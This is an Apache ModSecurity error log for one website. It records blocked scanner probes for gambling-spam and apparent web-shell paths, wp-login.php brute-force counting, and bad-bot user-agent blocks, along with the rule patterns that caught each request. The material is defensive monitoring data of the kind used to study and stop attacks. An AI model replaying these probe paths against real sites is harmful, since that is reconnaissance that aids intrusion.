[Sat Apr 04 22:12:42.896727 2026] [:error] [pid 63487:tid 63496] [client 94.103.87.20:46894] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adEcWmpqOMD5fJ8_5q0PFwAAAUY"]
[Sat Apr 04 22:12:45.658313 2026] [:error] [pid 63487:tid 63493] [client 94.103.87.20:46902] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adEcXWpqOMD5fJ8_5q0PKAAAAUM"]
[Sat Apr 04 22:12:48.170864 2026] [:error] [pid 2459:tid 2533] [client 94.103.87.20:35110] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adEcYAefyCmu4LR_PlpDNAAAAII"]
[Sat Apr 04 22:12:50.735883 2026] [:error] [pid 2459:tid 2541] [client 94.103.87.20:35114] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adEcYgefyCmu4LR_PlpDOQAAAIk"]
[Sat Apr 04 22:12:53.247417 2026] [:error] [pid 2457:tid 2497] [client 94.103.87.20:35130] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adEcZUmNHppaMd92ZpdvngAAABQ"]
[Sat Apr 04 22:12:55.790908 2026] [:error] [pid 2458:tid 2522] [client 94.103.87.20:37462] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adEcZyNozic5SuWqclk4iAAAAFI"]
[Sat Apr 04 22:12:58.338396 2026] [:error] [pid 2457:tid 2494] [client 94.103.87.20:37478] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adEcakmNHppaMd92ZpdvrAAAABE"]
[Sat Apr 04 22:13:00.955919 2026] [:error] [pid 2459:tid 2555] [client 94.103.87.20:37492] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adEcbAefyCmu4LR_PlpDSwAAAJc"]
[Sat Apr 04 22:13:03.485370 2026] [:error] [pid 2457:tid 2482] [client 94.103.87.20:37506] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adEcb0mNHppaMd92ZpdvvAAAAAU"]
[Sat Apr 04 22:13:06.114594 2026] [:error] [pid 63487:tid 63500] [client 94.103.87.20:38984] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adEccmpqOMD5fJ8_5q0PXwAAAUo"]
[Sat Apr 04 22:13:08.748210 2026] [:error] [pid 2459:tid 2551] [client 94.103.87.20:38988] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adEcdAefyCmu4LR_PlpDYwAAAJM"]
[Sat Apr 04 22:13:11.220186 2026] [:error] [pid 2457:tid 2487] [client 94.103.87.20:39004] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adEcd0mNHppaMd92ZpdvxAAAAAo"]
[Sat Apr 04 22:13:13.812001 2026] [:error] [pid 2457:tid 2500] [client 94.103.87.20:39018] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adEceUmNHppaMd92ZpdvyQAAABc"]
[Sat Apr 04 22:13:16.547596 2026] [:error] [pid 63487:tid 63498] [client 94.103.87.20:56778] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adEcfGpqOMD5fJ8_5q0PdwAAAUg"]
[Sat Apr 04 22:13:56.795398 2026] [:error] [pid 2459:tid 2540] [client 94.103.87.20:56794] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adEcpAefyCmu4LR_PlpD5QAAAIg"]
[Sat Apr 04 22:13:59.254883 2026] [:error] [pid 2567:tid 2593] [client 94.103.87.20:44962] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adEcp2JJmfRsTrAKjdQ-HwAAANM"]
[Sat Apr 04 22:14:01.780589 2026] [:error] [pid 63487:tid 63496] [client 94.103.87.20:44966] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adEcqWpqOMD5fJ8_5q0P3AAAAUY"]
[Sat Apr 04 22:14:04.353073 2026] [:error] [pid 2457:tid 2489] [client 94.103.87.20:44968] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "adEcrEmNHppaMd92ZpdwMwAAAAw"]
[Sat Apr 04 22:14:06.974207 2026] [:error] [pid 2458:tid 2516] [client 94.103.87.20:53006] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "adEcriNozic5SuWqclk40QAAAEw"]
[Sat Apr 04 22:14:09.638549 2026] [:error] [pid 63487:tid 63503] [client 94.103.87.20:53012] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "adEcsWpqOMD5fJ8_5q0P6wAAAU0"]
[Sat Apr 04 22:14:12.207163 2026] [:error] [pid 2567:tid 2585] [client 94.103.87.20:53022] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adEctGJJmfRsTrAKjdQ-KwAAAMs"]
[Sat Apr 04 22:14:14.716393 2026] [:error] [pid 63487:tid 63490] [client 94.103.87.20:53032] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adEctmpqOMD5fJ8_5q0QIwAAAUA"]
[Sat Apr 04 22:14:17.405250 2026] [:error] [pid 63487:tid 63513] [client 94.103.87.20:41650] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adEcuWpqOMD5fJ8_5q0QMAAAAVc"]
[Sat Apr 04 22:14:20.306677 2026] [:error] [pid 2459:tid 2551] [client 94.103.87.20:41662] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adEcvAefyCmu4LR_PlpEAQAAAJM"]
[Sat Apr 04 22:14:22.836243 2026] [:error] [pid 2458:tid 2517] [client 94.103.87.20:41664] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adEcviNozic5SuWqclk44AAAAE0"]
[Sat Apr 04 22:14:25.439064 2026] [:error] [pid 63487:tid 63511] [client 94.103.87.20:41670] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adEcwWpqOMD5fJ8_5q0QQgAAAVU"]
[Sat Apr 04 22:14:29.135708 2026] [:error] [pid 37114:tid 37137] [client 94.103.87.20:56120] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adEcxc-DnSj3fGMexeJSagAAARU"]
[Sat Apr 04 22:14:31.784895 2026] [:error] [pid 63487:tid 63495] [client 94.103.87.20:56126] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adEcx2pqOMD5fJ8_5q0QSgAAAUU"]
[Sat Apr 04 22:14:34.313591 2026] [:error] [pid 63487:tid 63508] [client 94.103.87.20:56130] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adEcympqOMD5fJ8_5q0QUgAAAVI"]
[Sat Apr 04 22:14:36.813890 2026] [:error] [pid 63487:tid 63501] [client 94.103.87.20:40748] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adEczGpqOMD5fJ8_5q0QXQAAAUs"]
[Sat Apr 04 22:14:39.437399 2026] [:error] [pid 2459:tid 2552] [client 94.103.87.20:40762] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adEczwefyCmu4LR_PlpEXwAAAJQ"]
[Sat Apr 04 22:14:42.013121 2026] [:error] [pid 63487:tid 63504] [client 94.103.87.20:40764] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adEc0mpqOMD5fJ8_5q0QbAAAAU4"]
[Sat Apr 04 22:14:44.454886 2026] [:error] [pid 2458:tid 2507] [client 94.103.87.20:40776] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adEc1CNozic5SuWqclk5CwAAAEM"]
[Sat Apr 04 22:14:47.170503 2026] [:error] [pid 2457:tid 2477] [client 94.103.87.20:46414] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adEc10mNHppaMd92ZpdwmgAAAAA"]
[Sat Apr 04 22:14:49.821089 2026] [:error] [pid 2458:tid 2525] [client 94.103.87.20:46430] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adEc2SNozic5SuWqclk5EQAAAFU"]
[Sat Apr 04 22:14:52.413514 2026] [:error] [pid 2457:tid 2481] [client 94.103.87.20:46432] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adEc3EmNHppaMd92ZpdwqwAAAAQ"]
[Sat Apr 04 22:15:33.972018 2026] [:error] [pid 2459:tid 2551] [client 94.103.87.20:46434] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adEdBQefyCmu4LR_PlpEygAAAJM"]
[Sat Apr 04 22:15:36.762255 2026] [:error] [pid 2457:tid 2486] [client 94.103.87.20:52654] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adEdCEmNHppaMd92Zpdw5gAAAAk"]
[Sat Apr 04 22:15:39.479173 2026] [:error] [pid 63487:tid 63514] [client 94.103.87.20:52668] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adEdC2pqOMD5fJ8_5q0RAQAAAVg"]
[Sat Apr 04 23:07:02.977377 2026] [:error] [pid 63487:tid 63491] [client 158.173.36.85:28065] [client 158.173.36.85] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adEpFmpqOMD5fJ8_5q0sbgAAAUE"]
[Sun Apr 05 00:05:06.620601 2026] [:error] [pid 2457:tid 2499] [client 103.216.119.20:46864] [client 103.216.119.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.216.119.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adE2skmNHppaMd92ZpeUWQAAABY"]
[Sun Apr 05 00:05:08.723175 2026] [:error] [pid 2457:tid 2501] [client 103.216.119.20:46864] [client 103.216.119.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.216.119.20, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adE2tEmNHppaMd92ZpeUWwAAABg"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 00:17:27.939289 2026] [:error] [pid 63487:tid 63514] [client 91.136.11.218:41008] [client 91.136.11.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.136.11.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adE5l2pqOMD5fJ8_5q1WAAAAAVg"]
[Sun Apr 05 00:17:29.700109 2026] [:error] [pid 63487:tid 63496] [client 91.136.11.218:41008] [client 91.136.11.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.136.11.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adE5mWpqOMD5fJ8_5q1WDwAAAUY"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 02:10:00.368032 2026] [:error] [pid 53819:tid 53896] [client 114.96.103.33:54647] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adFT-Gkolvq4mv6siDP3rgAAABc"]
[Sun Apr 05 07:11:21.478352 2026] [:error] [pid 45305:tid 45391] [client 208.109.62.151:20266] [client 208.109.62.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.62.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adGamejDQjr7aWhjflBYCgAAAJQ"]
[Sun Apr 05 07:11:23.535091 2026] [:error] [pid 45305:tid 45379] [client 208.109.62.151:20266] [client 208.109.62.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.62.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adGam-jDQjr7aWhjflBYFwAAAIg"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 05 07:15:24.803521 2026] [:error] [pid 45305:tid 45377] [client 150.109.119.38:48268] [client 150.109.119.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adGbjOjDQjr7aWhjflBaqwAAAIY"]
[Sun Apr 05 07:44:21.958336 2026] [:error] [pid 45303:tid 45340] [client 217.216.37.55:55999] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adGiVbboQ9eViZ4hdnmpMQAAABc"]
[Sun Apr 05 07:44:22.170584 2026] [:error] [pid 45303:tid 45332] [client 217.216.37.55:59251] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "adGiVrboQ9eViZ4hdnmpMgAAAA8"]
[Sun Apr 05 07:44:22.386011 2026] [:error] [pid 45304:tid 45367] [client 217.216.37.55:63789] [client 217.216.37.55] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "adGiVg5jnqDKKovdRkklVwAAAFc"]
[Sun Apr 05 08:10:19.474364 2026] [:error] [pid 45303:tid 45337] [client 4.223.104.110:22819] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGoa7boQ9eViZ4hdnmv-QAAABQ"]
[Sun Apr 05 08:10:22.830325 2026] [:error] [pid 45305:tid 45386] [client 4.223.104.110:23443] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGobujDQjr7aWhjflCDsAAAAI8"]
[Sun Apr 05 08:10:25.694909 2026] [:error] [pid 30921:tid 30946] [client 4.223.104.110:17855] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55l453.php"] [unique_id "adGocWFGQVn8Q0ueB26l5gAAARc"]
[Sun Apr 05 08:12:38.560685 2026] [:error] [pid 45409:tid 45431] [client 4.223.104.110:36054] [client 4.223.104.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bkyac.php"] [unique_id "adGo9tHt_Oyw03gjCNgazwAAANQ"]
